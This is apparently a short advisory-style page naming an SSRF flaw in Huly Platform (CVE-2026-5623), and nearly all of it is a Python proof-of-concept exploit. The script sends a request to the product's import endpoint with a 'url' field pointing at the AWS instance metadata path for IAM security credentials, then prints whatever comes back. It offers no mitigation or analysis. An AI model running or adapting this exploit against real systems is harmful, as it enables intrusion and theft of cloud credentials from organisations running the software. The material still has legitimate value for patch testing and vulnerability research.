CVE-2026-5623 Huly Platform服务器端请求伪造漏洞

import requests # Target host configuration target_url = "http://vulnerable-host:8080/api/import" # Malicious SSRF payload targeting internal metadata service # Attempting to access AWS instance metadata ssrf_payload = { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } try: # Sending the malicious request to the Import Endpoint response = requests.post(target_url, json=ssrf_payload, timeout=10) # Check if the request indicates a successful SSRF attack if response.status_code == 200: print("[+] SSRF Exploit Successful!") print("Response Content:") print(response.text) else: print(f"[-] Exploit failed, status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}")